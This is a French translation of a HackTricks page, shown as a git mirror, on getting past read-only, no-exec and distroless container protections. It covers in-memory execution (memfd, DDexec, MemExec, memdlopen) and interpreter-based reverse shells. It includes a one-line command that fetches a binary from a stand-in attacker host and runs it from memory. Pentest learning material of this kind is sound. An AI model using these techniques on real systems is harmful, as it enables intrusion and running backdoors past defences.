Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless
History
Translator 957e9668ab Translated ['linux-hardening/bypass-bash-restrictions/bypass-fs-protecti
2023-09-20 23:22:38 +00:00
..
ddexec.md Translated ['linux-hardening/bypass-bash-restrictions/bypass-fs-protecti 2023-08-23 12:47:19 +00:00
README.md Translated ['linux-hardening/bypass-bash-restrictions/bypass-fs-protecti 2023-09-20 23:22:38 +00:00

README.md

Contourner les protections du système de fichiers : lecture seule / pas d'exécution / Distroless

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Vidéos

Dans les vidéos suivantes, vous trouverez des explications plus détaillées sur les techniques mentionnées dans cette page :

Scénario de lecture seule / pas d'exécution

Il est de plus en plus courant de trouver des machines Linux montées avec une protection du système de fichiers en lecture seule (ro), notamment dans les conteneurs. Cela est dû au fait qu'il est facile d'exécuter un conteneur avec un système de fichiers en lecture seule en définissant simplement readOnlyRootFilesystem: true dans le securitycontext :

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Cependant, même si le système de fichiers est monté en lecture seule, /dev/shm sera toujours accessible en écriture, il est donc faux de dire que nous ne pouvons rien écrire sur le disque. Cependant, ce dossier sera monté avec une protection sans exécution, donc si vous téléchargez un binaire ici, vous ne pourrez pas l'exécuter.

{% hint style="warning" %} D'un point de vue de l'équipe rouge, cela rend compliqué le téléchargement et l'exécution de binaires qui ne sont pas déjà présents dans le système (comme des portes dérobées ou des outils d'énumération comme kubectl). {% endhint %}

Contournement le plus simple : Scripts

Notez que j'ai mentionné les binaires, vous pouvez exécuter n'importe quel script tant que l'interpréteur est présent dans la machine, comme un script shell si sh est présent ou un script python si python est installé.

Cependant, cela ne suffit pas pour exécuter votre porte dérobée binaire ou d'autres outils binaires dont vous pourriez avoir besoin.

Contournements de la mémoire

Si vous voulez exécuter un binaire mais que le système de fichiers ne le permet pas, la meilleure façon de le faire est de l'exécuter depuis la mémoire, car les protections ne s'appliquent pas là.

Contournement de l'appel système FD + exec

Si vous disposez de moteurs de script puissants dans la machine, tels que Python, Perl ou Ruby, vous pouvez télécharger le binaire à exécuter depuis la mémoire, le stocker dans un descripteur de fichier en mémoire (create_memfd syscall), qui ne sera pas protégé par ces protections, puis appeler un appel système exec en indiquant le descripteur de fichier comme fichier à exécuter.

Pour cela, vous pouvez facilement utiliser le projet fileless-elf-exec. Vous pouvez lui passer un binaire et il générera un script dans le langage indiqué avec le binaire compressé et encodé en base64 avec les instructions pour le décoder et le décompresser dans un descripteur de fichier créé en appelant la syscall create_memfd et un appel à l'appel système exec pour l'exécuter.

{% hint style="warning" %} Cela ne fonctionne pas dans d'autres langages de script comme PHP ou Node car ils n'ont pas de méthode par défaut pour appeler des appels système bruts à partir d'un script, il n'est donc pas possible d'appeler create_memfd pour créer le descripteur de fichier en mémoire pour stocker le binaire.

De plus, la création d'un descripteur de fichier régulier avec un fichier dans /dev/shm ne fonctionnera pas, car vous ne serez pas autorisé à l'exécuter en raison de la protection sans exécution qui s'appliquera. {% endhint %}

DDexec / EverythingExec

DDexec / EverythingExec est une technique qui vous permet de modifier la mémoire de votre propre processus en écrasant son /proc/self/mem.

Par conséquent, en contrôlant le code assembleur qui est exécuté par le processus, vous pouvez écrire un shellcode et "muter" le processus pour exécuter n'importe quel code arbitraire.

{% hint style="success" %} DDexec / EverythingExec vous permettra de charger et d'exécuter votre propre shellcode ou n'importe quel binaire depuis la mémoire. {% endhint %}

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

Pour plus d'informations sur cette technique, consultez Github ou:

{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}

MemExec

Memexec est la prochaine étape naturelle de DDexec. C'est un démon de shellcode DDexec, donc chaque fois que vous voulez exécuter un binaire différent, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite communiquer avec ce démon pour transmettre de nouveaux binaires à charger et exécuter.

Vous pouvez trouver un exemple sur la façon d'utiliser memexec pour exécuter des binaires à partir d'un shell inversé PHP dans https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

Dans un but similaire à DDexec, la technique memdlopen permet une manière plus facile de charger des binaires en mémoire pour les exécuter ultérieurement. Cela pourrait même permettre de charger des binaires avec des dépendances.

Contournement de Distroless

Qu'est-ce que Distroless

Les conteneurs Distroless contiennent uniquement les composants strictement nécessaires pour exécuter une application ou un service spécifique, tels que des bibliothèques et des dépendances d'exécution, mais excluent des composants plus volumineux tels qu'un gestionnaire de paquets, un shell ou des utilitaires système.

L'objectif des conteneurs Distroless est de réduire la surface d'attaque des conteneurs en éliminant les composants inutiles et en minimisant le nombre de vulnérabilités exploitables.

Shell inversé

Dans un conteneur Distroless, vous pourriez ne pas trouver sh ou bash pour obtenir un shell classique. Vous ne trouverez pas non plus des binaires tels que ls, whoami, id... tout ce que vous exécutez habituellement dans un système.

{% hint style="warning" %} Par conséquent, vous ne pourrez pas obtenir un shell inversé ou énumérer le système comme vous le faites habituellement. {% endhint %}

Cependant, si le conteneur compromis exécute par exemple un serveur Flask, alors Python est installé et vous pouvez donc obtenir un shell inversé Python. S'il exécute Node, vous pouvez obtenir un shell inversé Node, et de même avec la plupart des langages de script.

{% hint style="success" %} En utilisant le langage de script, vous pourriez énumérer le système en utilisant les capacités du langage. {% endhint %}

S'il n'y a pas de protections read-only/no-exec, vous pourriez abuser de votre shell inversé pour écrire dans le système de fichiers vos binaires et les exécuter.

{% hint style="success" %} Cependant, dans ce type de conteneurs, ces protections existent généralement, mais vous pouvez utiliser les techniques d'exécution en mémoire précédentes pour les contourner. {% endhint %}

Vous pouvez trouver des exemples sur la façon d'exploiter certaines vulnérabilités RCE pour obtenir des shells inversés de langages de script et exécuter des binaires en mémoire sur https://github.com/carlospolop/DistrolessRCE.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥